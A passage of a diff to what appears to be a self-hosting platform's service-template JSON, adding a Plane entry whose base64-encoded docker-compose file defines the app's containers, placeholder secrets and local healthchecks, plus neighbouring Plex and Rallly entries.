JUOi01NjcyfS9wbGFuZScKICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCiAgTElWRV9TRVJWRVJfU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfTElWRVNFQ1JFVApzZXJ2aWNlczoKICBwcm94eToKICAgIGltYWdlOiAnbWFrZXBsYW5lL3BsYW5lLXByb3h5OiR7QVBQX1JFTEVBU0U6LXYxLjMuMH0nCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9QTEFORQogICAgICAtICdBUFBfRE9NQUlOPSR7U0VSVklDRV9VUkxfUExBTkV9JwogICAgICAtICdTSVRFX0FERFJFU1M9OjgwJwogICAgICAtICdGSUxFX1NJWkVfTElNSVQ9JHtGSUxFX1NJWkVfTElNSVQ6LTUyNDI4ODB9JwogICAgICAtICdCVUNLRVRfTkFNRT0ke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICB2b2x1bWVzOgogICAgICAtICdwcm94eV9jb25maWc6L2NvbmZpZycKICAgICAgLSAncHJveHlfZGF0YTovZGF0YScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gd2ViCiAgICAgIC0gYXBpCiAgICAgIC0gc3BhY2UKICAgICAgLSBhZG1pbgogICAgICAtIGxpdmUKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdlYjoKICAgIGltYWdlOiAnbWFrZXBsYW5lL3BsYW5lLWZyb250ZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjMuMH0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHdvcmtlcgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICd3Z2V0IC1xTy0gaHR0cDovL2Bob3N0bmFtZWA6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHNwYWNlOgogICAgaW1hZ2U6ICdtYWtlcGxhbmUvcGxhbmUtc3BhY2U6JHtBUFBfUkVMRUFTRTotdjEuMy4wfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gd29ya2VyCiAgICAgIC0gd2ViCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGFkbWluOgogICAgaW1hZ2U6ICdtYWtlcGxhbmUvcGxhbmUtYWRtaW46JHtBUFBfUkVMRUFTRTotdjEuMy4wfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gd2ViCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGxpdmU6CiAgICBpbWFnZTogJ21ha2VwbGFuZS9wbGFuZS1saXZlOiR7QVBQX1JFTEVBU0U6LXYxLjMuMH0nCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBJX0JBU0VfVVJMOiAnJHtBUElfQkFTRV9VUkw6LWh0dHA6Ly9hcGk6ODAwMH0nCiAgICAgIExJVkVfU0VSVkVSX1NFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X0xJVkVTRUNSRVQKICAgICAgUkVESVNfSE9TVDogJyR7UkVESVNfSE9TVDotcGxhbmUtcmVkaXN9JwogICAgICBSRURJU19QT1JUOiAnJHtSRURJU19QT1JUOi02Mzc5fScKICAgICAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3ZWIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgYXBpOgogICAgaW1hZ2U6ICdtYWtlcGxhbmUvcGxhbmUtYmFja2VuZDoke0FQUF9SRUxFQVNFOi12MS4zLjB9JwogICAgY29tbWFuZDogLi9iaW4vZG9ja2VyLWVudHJ5cG9pbnQtYXBpLnNoCiAgICB2b2x1bWVzOgogICAgICAtICdsb2dzX2FwaTovY29kZS9wbGFuZS9sb2dzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMy4wfScKICAgICAgV0VCX1VSTDogJyR7U0VSVklDRV9VUkxfUExBTkV9JwogICAgICBERUJVRzogJyR7REVCVUc6LTB9JwogICAgICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogICAgICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICAgICAgVVNFX01JTklPOiAnJHtVU0VfTUlOSU86LTF9JwogICAgICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICAgICAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgICAgIEFNUVBfVVJMOiAnYW1xcDovLyR7U0VSVklDRV9VU0VSX1JBQkJJVE1RfToke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVF9QHBsYW5lLW1xOiR7UkFCQklUTVFfUE9SVDotNTY3Mn0vcGxhbmUnCiAgICAgIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogICAgICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCiAgICAgIExJVkVfU0VSVkVSX1NFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X0xJVkVTRUNSRVQKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBBUFBfRE9NQUlOOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIEZJTEVfU0laRV9MSU1JVDogJyR7RklMRV9TSVpFX0xJTUlUOi01MjQyODgwfScKICAgICAgQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFNJVEVfQUREUkVTUzogJyR7U0lURV9BRERSRVNTOi06ODB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgd29ya2VyOgogICAgaW1hZ2U6ICdtYWtlcGxhbmUvcGxhbmUtYmFja2VuZDoke0FQUF9SRUxFQVNFOi12MS4zLjB9JwogICAgY29tbWFuZDogLi9iaW4vZG9ja2VyLWVudHJ5cG9pbnQtd29ya2VyLnNoCiAgICB2b2x1bWVzOgogICAgICAtICdsb2dzX3dvcmtlcjovY29kZS9wbGFuZS9sb2dzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMy4wfScKICAgICAgV0VCX1VSTDogJyR7U0VSVklDRV9VUkxfUExBTkV9JwogICAgICBERUJVRzogJyR7REVCVUc6LTB9JwogICAgICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogICAgICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICAgICAgVVNFX01JTklPOiAnJHtVU0VfTUlOSU86LTF9JwogICAgICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICAgICAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgICAgIEFNUVBfVVJMOiAnYW1xcDovLyR7U0VSVklDRV9VU0VSX1JBQkJJVE1RfToke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVF9QHBsYW5lLW1xOiR7UkFCQklUTVFfUE9SVDotNTY3Mn0vcGxhbmUnCiAgICAgIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogICAgICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCiAgICAgIExJVkVfU0VSVkVSX1NFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X0xJVkVTRUNSRVQKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBBUFBfRE9NQUlOOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIEZJTEVfU0laRV9MSU1JVDogJyR7RklMRV9TSVpFX0xJTUlUOi01MjQyODgwfScKICAgICAgQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFNJVEVfQUREUkVTUzogJyR7U0lURV9BRERSRVNTOi06ODB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgYmVhdC13b3JrZXI6CiAgICBpbWFnZTogJ21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjMuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1iZWF0LnNoCiAgICB2b2x1bWVzOgogICAgICAtICdsb2dzX2JlYXQtd29ya2VyOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4zLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgTElWRV9TRVJWRVJfU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfTElWRVNFQ1JFVAogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIEFQUF9ET01BSU46ICcke1NFUlZJQ0VfVVJMX1BMQU5FfScKICAgICAgRklMRV9TSVpFX0xJTUlUOiAnJHtGSUxFX1NJWkVfTElNSVQ6LTUyNDI4ODB9JwogICAgICBCVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgU0lURV9BRERSRVNTOiAnJHtTSVRFX0FERFJFU1M6LTo4MH0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICAgICAgLSBwbGFuZS1tcQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtICdoZXkgd2hhdHMgdXAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBtaWdyYXRvcjoKICAgIGltYWdlOiAnbWFrZXBsYW5lL3BsYW5lLWJhY2tlbmQ6JHtBUFBfUkVMRUFTRTotdjEuMy4wfScKICAgIHJlc3RhcnQ6ICdubycKICAgIGNvbW1hbmQ6IC4vYmluL2RvY2tlci1lbnRyeXBvaW50LW1pZ3JhdG9yLnNoCiAgICB2b2x1bWVzOgogICAgICAtICdsb2dzX21pZ3JhdG9yOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4zLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgTElWRV9TRVJWRVJfU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfTElWRVNFQ1JFVAogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIEFQUF9ET01BSU46ICcke1NFUlZJQ0VfVVJMX1BMQU5FfScKICAgICAgRklMRV9TSVpFX0xJTUlUOiAnJHtGSUxFX1NJWkVfTElNSVQ6LTUyNDI4ODB9JwogICAgICBCVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgU0lURV9BRERSRVNTOiAnJHtTSVRFX0FERFJFU1M6LTo4MH0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICBwbGFuZS1kYjoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUuNy1hbHBpbmUnCiAgICBjb21tYW5kOiAicG9zdGdyZXMgLWMgJ21heF9jb25uZWN0aW9ucz0xMDAwJyIKICAgIGVudmlyb25tZW50OgogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICB2b2x1bWVzOgogICAgICAtICdwZ2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBsYW5lLXJlZGlzOgogICAgaW1hZ2U6ICd2YWxrZXkvdmFsa2V5OjcuMi4xMS1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpc2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwbGFuZS1tcToKICAgIGltYWdlOiAncmFiYml0bXE6My4xMy42LW1hbmFnZW1lbnQtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIFJBQkJJVE1RX0hPU1Q6IHBsYW5lLW1xCiAgICAgIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1BBU1M6ICcke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgICAgUkFCQklUTVFfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICB2b2x1bWVzOgogICAgICAtICdyYWJiaXRtcV9kYXRhOi92YXIvbGliL3JhYmJpdG1xJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdyYWJiaXRtcS1kaWFnbm9zdGljcyAtcSBwaW5nJwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDMwcwogICAgICByZXRyaWVzOiAzCiAgcGxhbmUtbWluaW86CiAgICBpbWFnZTogJ2doY3IuaW8vY29vbGxhYnNpby9taW5pbzpSRUxFQVNFLjIwMjUtMTAtMTVUMTctMjktNTVaJwogICAgY29tbWFuZDogJ3NlcnZlciAvZXhwb3J0IC0tY29uc29sZS1hZGRyZXNzICI6OTA5MCInCiAgICBlbnZpcm9ubWVudDoKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9leHBvcnQnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbWMKICAgICAgICAtIHJlYWR5CiAgICAgICAgLSBsb2NhbAogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "tags": [ + "plane", + "project-management", + "tool", + "open", + "source", + "api", + "nextjs", + "redis", + "postgresql", + "django", + "pm" + ], + "category": "productivity", + "logo": "svgs/plane.svg", + "minversion": "0.0.0", + "port": "80" + }, "plex": { "documentation": "https://docs.linuxserver.io/images/docker-plex/?utm_source=coolify.io", "slogan": "Plex organizes video, music and photos from personal media libraries and streams them to smart TVs, streaming boxes and mobile devices.", @@ -3950,7 +3987,7 @@ "rallly": { "documentation": "https://support.rallly.co/self-hosting/introduction?utm_source=coolify.io", "slogan": "Rallly is an open-source scheduling and collaboration tool designed to make organizing events and meetings easier.", - "compose": 